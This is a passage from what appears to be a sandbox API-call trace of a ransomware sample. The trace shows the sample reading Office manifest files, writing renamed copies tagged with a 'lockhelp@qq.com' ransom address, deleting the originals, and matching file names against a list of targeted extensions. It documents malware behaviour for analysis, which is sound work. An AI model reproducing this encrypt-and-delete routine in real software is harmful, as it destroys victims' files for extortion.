lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0124.872] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0124.872] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0124.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0125.322] GetLastError () returned 0x0 [0125.323] ReadFile (in: hFile=0x370, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x34b4b, lpOverlapped=0x0) returned 1 [0125.883] WriteFile (in: hFile=0x348, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x34b50, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x34b50, lpOverlapped=0x0) returned 1 [0125.887] ReadFile (in: hFile=0x370, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0125.887] WriteFile (in: hFile=0x348, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x13e, lpOverlapped=0x0) returned 1 [0125.888] SetEndOfFile (hFile=0x348) returned 1 [0125.888] CloseHandle (hObject=0x348) returned 1 [0125.894] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0125.894] SetEndOfFile (hFile=0x370) returned 1 [0125.897] CloseHandle (hObject=0x370) returned 1 [0125.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0125.897] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 1 [0125.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0125.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0125.898] lstrlenW (lpString=".doc") returned 4 [0125.898] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0125.898] lstrlenW (lpString=".docx") returned 5 [0125.898] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0125.898] lstrlenW (lpString=".pdf") returned 4 [0125.898] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0125.898] lstrlenW (lpString=".xls") returned 4 [0125.898] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0125.898] lstrlenW (lpString=".xlsx") returned 5 [0125.898] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0125.898] lstrlenW (lpString=".ppt") returned 4 [0125.898] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0125.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0125.898] lstrlenW (lpString=".zip") returned 4 [0125.898] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0125.898] lstrlenW (lpString=".rar") returned 4 [0125.898] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0125.898] lstrlenW (lpString=".bz2") returned 4 [0125.898] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0125.898] lstrlenW (lpString=".7z") returned 3 [0125.898] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0125.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0125.898] lstrlenW (lpString=".dbf") returned 4 [0125.898] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0125.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0125.898] lstrlenW (lpString=".1cd") returned 4 [0125.899] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0125.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0125.899] lstrlenW (lpString=".jpg") returned 4 [0125.899] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0125.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0125.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0125.899] lstrlenW (lpString=".doc") returned 4 [0125.899] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0125.899] lstrlenW (lpString=".docx") returned 5 [0125.899] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0125.899] lstrlenW (lpString=".pdf") returned 4 [0125.899] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0125.899] lstrlenW (lpString=".xls") returned 4 [0125.899] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0125.899] lstrlenW (lpString=".xlsx") returned 5 [0125.899] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0125.899] lstrlenW (lpString=".ppt") returned 4 [0125.899] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0125.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0125.899] lstrlenW (lpString=".zip") returned 4 [0125.899] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0125.900] lstrlenW (lpString=".rar") returned 4 [0125.900] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0125.900] lstrlenW (lpString=".bz2") returned 4 [0125.900] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0125.900] lstrlenW (lpString=".7z") returned 3 [0125.900] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0125.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0125.900] lstrlenW (lpString=".dbf") returned 4 [0125.900] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0125.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0125.900] lstrlenW (lpString=".1cd") returned 4 [0125.900] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0125.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0125.900] lstrlenW (lpString=".jpg") returned 4 [0125.900] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0125.900] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0125.900] lstrlenW (lpString="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 53 [0125.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0125.901] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=65002) returned 1 [0125.901] CloseHandle (hObject=0x370) returned 1 [0125.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0125.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0125.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0125.901] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0125.901] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0125.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0125.902] GetLastError () returned 0x0 [0125.902] ReadFile (in: hFile=0x370, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0xfdea, lpOverlapped=0x0) returned 1 [0125.950] WriteFile (in: hFile=0x348, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xfdf0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xfdf0, lpOverlapped=0x0) returned 1 [0125.952] ReadFile (in: hFile=0x370, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0125.952] WriteFile (in: hFile=0x348, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x13e, lpOverlapped=0x0) returned 1 [0125.952] SetEndOfFile (hFile=0x348) returned 1 [0126.795] CloseHandle (hObject=0x348) returned 1 [0126.798] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0126.799] SetEndOfFile (hFile=0x370) returned 1 [0126.800] CloseHandle (hObject=0x370) returned 1 [0126.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0126.908] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 1 [0126.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0126.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0126.908] lstrlenW (lpString=".doc") returned 4 [0126.909] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0126.909] lstrlenW (lpString=".docx") returned 5 [0126.909] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0126.909] lstrlenW (lpString=".pdf") returned 4 [0126.909] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0126.909] lstrlenW (lpString=".xls") returned 4 [0126.909] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0126.909] lstrlenW (lpString=".xlsx") returned 5 [0126.909] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0126.909] lstrlenW (lpString=".ppt") returned 4 [0126.909] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0126.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0126.909] lstrlenW (lpString=".zip") returned 4 [0126.909] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0126.909] lstrlenW (lpString=".rar") returned 4 [0126.909] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0126.909] lstrlenW (lpString=".bz2") returned 4 [0126.909] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0126.909] lstrlenW (lpString=".7z") returned 3 [0126.909] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0126.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0126.909] lstrlenW (lpString=".dbf") returned 4 [0126.909] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0126.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0126.909] lstrlenW (lpString=".1cd") returned 4 [0126.909] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0126.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0126.909] lstrlenW (lpString=".jpg") returned 4 [0126.910] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0126.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0126.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0126.910] lstrlenW (lpString=".doc") returned 4 [0126.910] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0126.910] lstrlenW (lpString=".docx") returned 5 [0126.910] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0126.910] lstrlenW (lpString=".pdf") returned 4 [0126.910] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0126.910] lstrlenW (lpString=".xls") returned 4 [0126.910] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0126.910] lstrlenW (lpString=".xlsx") returned 5 [0126.910] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0126.910] lstrlenW (lpString=".ppt") returned 4 [0126.910] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0126.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0126.910] lstrlenW (lpString=".zip") returned 4 [0126.910] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0126.910] lstrlenW (lpString=".rar") returned 4 [0126.910] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0126.910] lstrlenW (lpString=".bz2") returned 4 [0126.910] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0126.910] lstrlenW (lpString=".7z") returned 3 [0126.910] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0126.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0126.910] lstrlenW (lpString=".dbf") returned 4 [0126.910] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0126.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0126.911] lstrlenW (lpString=".1cd") returned 4 [0126.911] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0126.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0126.911] lstrlenW (lpString=".jpg") returned 4 [0126.911] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0126.911] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0126.911] lstrlenW (lpString="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 53 [0126.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0126.911] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=399528) returned 1 [0126.911] CloseHandle (hObject=0x370) returned 1 [0126.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0126.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0126.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0126.912] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0126.912] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0126.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0126.912] GetLastError () returned 0x0 [0126.912] ReadFile (in: hFile=0x370, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x618a8, lpOverlapped=0x0) returned 1 [0129.099] WriteFile (in: hFile=0x348, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x618b0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x618b0, lpOverlapped=0x0) returned 1 [0129.107] ReadFile (in: hFile=0x370, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0129.107] WriteFile (in: hFile=0x348, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x13e, lpOverlapped=0x0) returned 1 [0129.107] SetEndOfFile (hFile=0x348) returned 1 [0129.107] CloseHandle (hObject=0x348) returned 1 [0129.115] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0129.115] SetEndOfFile (hFile=0x370) returned 1 [0129.119] CloseHandle (hObject=0x370) returned 1 [0129.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0129.120] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 1 [0129.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0129.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0129.120] lstrlenW (lpString=".doc") returned 4 [0129.120] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0129.120] lstrlenW (lpString=".docx") returned 5 [0129.120] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0129.120] lstrlenW (lpString=".pdf") returned 4 [0129.120] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0129.120] lstrlenW (lpString=".xls") returned 4 [0129.120] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0129.120] lstrlenW (lpString=".xlsx") returned 5 [0129.120] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0129.120] lstrlenW (lpString=".ppt") returned 4 [0129.120] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0129.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0129.120] lstrlenW (lpString=".zip") returned 4 [0129.120] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0129.121] lstrlenW (lpString=".rar") returned 4 [0129.121] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0129.121] lstrlenW (lpString=".bz2") returned 4 [0129.121] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0129.121] lstrlenW (lpString=".7z") returned 3 [0129.121] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0129.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0129.121] lstrlenW (lpString=".dbf") returned 4 [0129.121] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0129.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0129.121] lstrlenW (lpString=".1cd") returned 4 [0129.121] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0129.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0129.121] lstrlenW (lpString=".jpg") returned 4 [0129.121] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0129.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0129.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0129.121] lstrlenW (lpString=".doc") returned 4 [0129.121] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0129.121] lstrlenW (lpString=".docx") returned 5 [0129.121] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0129.121] lstrlenW (lpString=".pdf") returned 4 [0129.121] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0129.121] lstrlenW (lpString=".xls") returned 4 [0129.121] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0129.122] lstrlenW (lpString=".xlsx") returned 5 [0129.122] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0129.122] lstrlenW (lpString=".ppt") returned 4 [0129.122] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0129.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0129.122] lstrlenW (lpString=".zip") returned 4 [0129.122] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0129.122] lstrlenW (lpString=".rar") returned 4 [0129.122] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0129.122] lstrlenW (lpString=".bz2") returned 4 [0129.122] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0129.122] lstrlenW (lpString=".7z") returned 3 [0129.122] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0129.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0129.122] lstrlenW (lpString=".dbf") returned 4 [0129.122] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0129.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0129.122] lstrlenW (lpString=".1cd") returned 4 [0129.122] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0129.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0129.122] lstrlenW (lpString=".jpg") returned 4 [0129.122] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0129.122] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0129.123] lstrlenW (lpString="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 53 [0129.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), 